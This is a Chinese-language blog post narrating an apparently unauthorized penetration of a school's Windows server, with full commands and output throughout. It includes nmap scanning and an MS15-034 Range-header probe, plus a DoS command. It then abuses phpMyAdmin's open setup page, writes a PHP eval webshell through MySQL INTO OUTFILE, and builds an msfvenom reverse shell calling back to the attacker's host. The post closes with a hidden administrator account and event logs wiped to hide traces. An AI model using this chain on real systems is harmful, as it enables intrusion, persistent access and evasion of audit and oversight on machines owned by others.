发现学校其中一台服务器~~可能~~(绝对)存在漏洞。我想(绝对)能拿下它;而且渗透测试的过程很有趣,便将其记录下来。
前期交互及信息收集
由于是对内网直接进行大扫描,所以直接判断这不仅是一个 Web 服务器(多个),同时还运行着 FTP、数据库。
在此,再次使用 nmap 扫描一次,结果如下:
$ sudo nmap -T4 -n -sS -sV -O 192.168.3.72 Nmap scan report for 192.168.3.72 Host is up (0.00076s latency). Not shown: 974 closed ports PORT STATE SERVICE VERSION 7/tcp open echo 9/tcp open discard? 13/tcp open daytime? 17/tcp open qotd Windows qotd (English) 19/tcp open chargen 21/tcp open ftp FileZilla ftpd 42/tcp open tcpwrapped 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 999/tcp open http Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9 mod_jk/1.2.40) 1801/tcp open msmq? 2107/tcp open msrpc Microsoft Windows RPC 2383/tcp open ms-olap4? 3306/tcp open mysql MySQL 5.5.19 3389/tcp open ms-wbt-server? 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 8082/tcp open http Microsoft IIS httpd 7.5 49152/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port13-TCP:V=7.70%I=7%D=8/13%Time=5D53656C%P=x86_64-unknown-linux-gnu%r SF:(NULL,12,"23:35:37\x202019/8/13\n")%r(NCP,12,"23:35:37\x202019/8/13\n"); Device type: general purpose Running: Microsoft Windows Vista|2008|7 OS CPE: cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_7 OS details: Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
乍一看,跑了这么多服务。初步判断很可能有漏洞。
总结,这是一台操作系统为 Windows(目前未能确认具体版本)的,运行着 FileZilla FTP、MySQL 5.5.19、Web等服务;而且开放了太多端口。
Web 服务器端口:80、999、8080、8082;运行着这么几个 Web 服务。
不过经确认,只有 999 Apache 和 8082 IIS 两个端口提供的 Web 服务正常。
且,999 端口运行着 phpMyAdmin(一个以 PHP 为基础,以基于Web方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库),当然也是漏洞多多。
远程代码执行???
在一顿瞎操作下,其实是利用扫描器加手动验证;找到一个致命漏洞,该漏洞存在于端口 8082 IIS 服务器上。
MS15-034复现
HTTP.sys 远程执行代码漏洞 - CVE-2015-1635
当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式,此更新可以修复此漏洞。
根据微软安全公告,此漏洞貌似可以远程任意代码执行;但就实际复现来说,好像并不成立。
通过给 IIS 服务器发送如下 HTTP 请求,便可触发这个漏洞。
GET / HTTP/1.1 Host: stuff Range: bytes=0-18446744073709551615
而我就直接使用的 wget 测试此漏洞,当然还可以使用 curl 和 MSF。
$ wget --header="Range: bytes=0-18446744073709551615" <http://192.168.3.72:8082/Images/top01.gif> --2019-08-13 23:44:03-- <http://192.168.3.72:8082/Images/top01.gif> Connecting to 192.168.3.72:8082... connected. HTTP request sent, awaiting response... 416 Requested Range Not Satisfiable The file is already fully retrieved; nothing to do.
如上请求包,若IIS服务器返回 “Requested Range Not Satisfiable“,则是存在漏洞,否则如果返回 “The request has an invalid header name”,则说明漏洞已经修补。
进一步利用/危害
前面的远程任意代码执行并不成立;此漏洞就当前利用来说,只能造成两种危害。
我使用 MSF 来 exploit 利用方式。
如下,使用 MSF 读取服务器内核内存数据。
msf5 > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RHOSTS 192.168.3.72 msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RPORT 8082 msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set TARGETURI /Images/top01.gif msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > exploit [+] Target may be vulnerable... [+] Stand by... [-] Memory dump start position not found, dumping all data instead [+] Memory contents: 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 |HTTP/1.1 400 Bad| 20 52 65 71 75 65 73 74 0d 0a 43 6f 6e 74 65 6e | Request..Conten| 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d |t-Type: text/htm| 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 |l; charset=us-as| 63 69 69 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 |cii..Server: Mic| … … … … … … … … … 72 6f 73 6f 66 74 2d 48 54 54 50 41 50 49 2f 32 |rosoft-HTTPAPI/2| 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 |Error 400. The r| 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 |equest hostname | 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d |is invalid.</p>.| 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d |.</BODY></HTML>.| 0a |.| [+] Memory dump saved to ~/.msf4/loot/20190814122223_default_192.168.3.72_iis.ms15034_317502.bin [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
第二种,我直接使用 wget 命令。
$ wget --header="Range: bytes=18-18446744073709551615" <http://192.168.3.72/Images/top01.gif>
在敲这条命令时,双手一直是抖的🙃🙃。
这条命令回车下去直接对服务器造成 DoS 攻击,服务器必定假死或蓝屏;就不回车了……
此漏洞利用,就到此为止咯。。。
由 phpMyAdmin 入手
还不甘心,难道仅仅只能让此服务器蓝屏重启吗???
得想想办法拿到最高控制权!!!
再次整理思路……
phpMyAdmin URL 主页:http://192.168.3.72:999
目录爆破
首先使用了 nikto 扫描了此站是否还有其他目录。
$ nikto -host <http://192.168.3.72:999/> - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.3.72 + Target Hostname: 192.168.3.72 + Target Port: 999 + Start Time: 2019-08-13 23:55:43 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.33 (Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9 mod_jk/1.2.40 + Retrieved x-powered-by header: PHP/5.3.29 + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + Uncommon header 'x-ob_mode' found, with contents: 0 + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x1a 0x4e4e67f49da00 + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + DEBUG HTTP verb may show server debugging information. See <http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx> for details. + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3092: /setup/: This might be interesting... + OSVDB-3092: /README: README file found. + OSVDB-3233: /icons/README: Apache default file found. + 8348 requests: 0 error(s) and 17 item(s) reported on remote host + End Time: 2019-08-13 23:56:50 (GMT8) (67 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
重点在 “+ OSVDB-3092: /setup/: This might be interesting…“,这一条。
setup 没被关闭;由此判断管理员默认安装,这是很大的隐患。
如果管理员未对 phpmyadmin 目录下的 setup 文件进行安全处理,那普通用户可以在不进行身份认证的情况下,便可以配置服务器信息。

在这里呢,直接反手新建了一个MySQL服务器。

而且在认证页面发现缓存的密码(huweishen.com),根据密码可以猜测 phpMyAdmin 安装方式应该是此护卫神网站上的某款软件傻瓜式安装滴!
回到主页,未出意外地登录进去了。
CVE-2016-5734
中间还有一个小插曲。找到一个 phpMyAdmin 需身份验证的远程代码执行漏洞。
$ ./cve-2016-5734.py -c 'system(ipconfig);' -u root -p toor <http://192.168.5.99:999/> ERROR: #1286 - Unknown storage engine 'InnoDB'
但是很不幸,MySQL 中未开启 InnoDB 引擎。而开启方法只能是编辑系统中 MySQL 的配置文件 my.cnf。
MySQL [(none)]> show variables like "%innodb%"; +-----------------------+----------+ | Variable_name | Value | +-----------------------+----------+ | have_innodb | DISABLED | | ignore_builtin_innodb | OFF | +-----------------------+----------+ 2 rows in set (0.002 sec)
CVE-2016-5734 利用失败。。。
寻绝对路径,外写木马
经测试发现,MySQL 中,into outfile 未被禁用,而且这里也不存在 WAF 拦截;root 用户拥有向外写文件的权限。
MySQL [(none)]> SELECT @@global.secure_file_priv; +---------------------------+ | @@global.secure_file_priv | +---------------------------+ | | +---------------------------+ 1 row in set (0.001 sec)
再查询未使用 secure-file-priv 参数;这说明不仅能向外写文件,而且想往哪里写就往哪儿写。
所以,只需找到 Web 物理路径;使用 SQL 语句向 Web 目录写个一句话木马,就能拿到服务器的 shell。
首先先判断当前 MySQL 的数据、插件等目录:
MySQL [(none)]> show variables like "%dir%"; +-----------------------------------------+------------------------------------------+ | Variable_name | Value | +-----------------------------------------+------------------------------------------+ | basedir | D:/HwsApacheMaster/mysql/ | | binlog_direct_non_transactional_updates | OFF | | character_sets_dir | D:\HwsApacheMaster\mysql\share\charsets\ | | datadir | D:\HwsApacheMaster\mysql\Data\ | | lc_messages_dir | D:\HwsApacheMaster\mysql\share\ | | plugin_dir | D:\HwsApacheMaster\mysql\lib/plugin | | slave_load_tmpdir | C:\Users\MYSQL_~1.005\AppData\Local\Temp | | tmpdir | C:\Users\MYSQL_~1.005\AppData\Local\Temp | +-----------------------------------------+------------------------------------------+ 8 rows in set (0.002 sec)
发现 D:\\ 下一个有趣的目录 HwsApacheMaster,仅此而已。
此时把精力转向 Web 页面;打算在网页上瞎乱试,指望 Web Application 程序出错,大力出奇迹般的报错将 Web 物理路径爆出来。绞尽脑汁地让程序报错;可惜,并没有。。。
思考许久……思路来了。
前面通过浏览器缓存发现的那个密码(huweishen.com)很有意思,通过这个密码可以发现,phpMyAdmin 是管理员默认安装的;灵光一现,直接去这个网站下载这个傻瓜式一键安装的软件(护卫神),安装至本地测试,不就知道了物理路径了嘛!!!
这款软件叫做【护卫神·Apache大师】;安装一整套环境至本地,发现目录结构如下:
├── D:/ │ ├── HwsApacheMaster │ │ ├── phpmyadmin │ │ │ ├── web │ │ │ | ├── libraries │ │ │ | ├── database │ │ │ | ├── doc │ │ │ | ├── js │ │ │ | ├── setup │ │ │ | ├── themes │ │ ├── Apache2.2 │ │ ├── Tomcat8 │ │ ├── mysql │ │ ├── Java │ │ ├── php … … … … …
此时很明确了,直接一句话木马写至某目录;还有注意转义符。
MySQL [(none)]> select "<?php @eval($_POST['a']); ?>" into outfile 'D:\\\\HwsApacheMaster\\\\phpMyAdmin\\\\web\\\\she11.php'; Query OK, 1 row affected (0.002 sec)
然后,就可以使用菜刀等 shell 连接工具与木马进行连接;连接密码为 a 。
后渗透测试
中国蚁剑
由于菜刀只能在Windows上使用,而我操作系统为 Linux,使用的是另一款 shell 连接工具 AntSword(蚁剑) , 开源、跨平台的网站(shell)管理工具。

连接上去后,进入终端,输入 cmd 命令会发现无法执行。
D:\\HwsApacheMaster\\phpmyadmin\\web> whoami ret=127
这说明,php 配置文件 php.ini 中将一些危险函数给禁用掉了,即 disable_functions。将此项删除,清理一下缓存,便可以执行 cmd 了。
D:\\HwsApacheMaster\\phpmyadmin\\web> whoami nt authority\\system
哇!system 权限。可是比 Administrator 管理员用户权限还要大,这也省的我之后的提权了。
连接 Metasploit
由于菜刀、蚁剑这类工具功能相比于 MSF 功能比较欠缺,所以我要再次生成一个木马用来反弹 shell 连接 MSF。
$ msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.23 LPORT=4444 -f exe -o she11.exe 参数: --platform 平台 -p payload,有效载荷 LHOST 本地IP LPORT 本地端口 -f 生成文件类型 -o 输出文件名
将生成的木马通过蚁剑传至服务器上一个有执行权限的目录;虽然我和服务器并不在一个网段(本以为要做内网穿透的),但防火墙为关闭状态,依旧能够建立连接。
首先,MSF 先在本地侦听着4444端口,等着 shell 反弹回来。
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.5.23 msf5 exploit(multi/handler) > set LPORT 4444 msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.5.23:4444
然后使用蚁剑,在 CMD 终端中执行刚刚生成的那个木马文件(she11.exe)
C:\\Windows\\System32> C:/Windows/System32/she11.exe
回车执行这个 exe 后,在 MSF 这边就会生成一个 meterpreter。
[*] Started reverse TCP handler on 192.168.5.23:4444 [*] Sending stage (206403 bytes) to 192.168.3.72 [*] Meterpreter session 1 opened (192.168.5.23:4444 -> 192.168.3.72:55580) at 2019-08-14 17:59:57 +0800 meterpreter >
getuid 获取当前用户,还是 SYSTEM 。meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM
开启远程 RDP 连接。
meterpreter > run post/windows/manage/enable_rdp [*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary [*] For cleanup execute Meterpreter resource file: ~/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt
查看刚刚开启 RDP 执行的具体命令。
$ cat ~/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt execute -H -f cmd.exe -a "/c 'netsh firewall set service type = remotedesktop mode = enable'"
进入 CMD 模式。
meterpreter > shell Process 7116 created. Channel 3 created. Microsoft Windows [版本 6.1.7600] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 C:\\Windows\\System32>
查看当前所有用户。
C:\\Windows\\System32>net user \\\\ 的用户帐户 --------------------------------------------------------- Administrator Guest mysql MySQL_HWS www
创建一个隐藏用户(Windows中在用户名后带上**\$**即为隐藏用户,仅是简单隐藏),并拉入管理员用户组,查看。
C:\\Windows\\System32>net user she11$ D@i123 /add C:\\Windows\\System32>net localgroup administrators she11$ /add C:\\Windows\\System32>net user she11$ 用户名 she11$ 全名 注释 用户的注释 国家/地区代码 000 (系统默认值) 帐户启用 Yes 帐户到期 从不 上次设置密码 2019/8/14 0:30:02 密码到期 2019/9/25 0:30:02 密码可更改 2019/8/14 0:30:02 需要密码 Yes 用户可以更改密码 Yes 允许的工作站 All 登录脚本 用户配置文件 主目录 上次登录 2019/8/14 0:44:40 可允许的登录小时数 All 本地组成员 *Administrators *Users 全局组成员 *None 命令成功完成。
完成后,直接登录到服务器。
$ rdesktop 192.168.3.72 -u she11$ -p D@i123 -g 1024x960

此过程中难免会留下日志信息痕迹,使用此命令来清理日志。
meterpreter > clearev [*] Wiping 16000 records from Application... [*] Wiping 20128 records from System... [*] Wiping 18688 records from Security...
介于这台主机在一个单独的内网,后渗透的意义不大。所以就此完了。。。
